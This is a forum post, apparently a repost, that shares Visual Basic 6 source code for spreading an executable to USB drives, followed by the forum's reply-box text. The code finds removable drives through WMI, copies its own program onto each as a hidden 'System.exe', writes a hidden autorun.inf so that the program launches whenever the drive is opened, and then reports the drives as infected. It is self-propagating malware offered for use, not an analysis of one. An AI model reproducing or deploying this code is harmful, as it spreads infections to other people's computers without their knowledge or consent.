Jump to content
Nytro

[VB6] Infect USB

Recommended Posts

[VB6] Infect USB

Author: mikeh18

Hello all,

Here's some modified code i made for detect + infect USB drives using autorun

Sub Main()
On Error Resume Next
'Object and Strings
Dim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String

'Objects
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIService
Set USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drives

For Each USBFound In USBDrives 'Look for all our drives

If USBFound.DriveType = 2 Then 'If drivetype is USB
USB = USBFound.Name 'Set USB as New USB-name
USBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-count
End If

If USB = "" Then GoTo volgende 'If its not an USB-Drive then goto Next
FileCopy App.Path & "\" & App.EXEName & ".exe", USB & "System.exe" 'Copy File to New USB Drive
Open USB & "autorun.inf" For Output As #1 'Create a Autorun file
Print #1, "[autorun]" 'Put Right Settings in it
Print #1, "open=System.exe" 'Put Our exe-name in It
Close #1 'Close the Autorun File
SetAttr USB & "System.exe", vbHidden ' vbHidden 'Hide our Exe File
SetAttr USB & "autorun.inf", vbHidden 'Hide the Autorun File

volgende: 'Next
Next 'Search for more USB drives

MsgBox "USB Drives: " & USB & vbNewLine & "Successfull Invected!", vbInformation, "USB Infect" 'Msg When Done
End
End Sub

Mikeh18

Sursa: [VB6] Infect USB

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...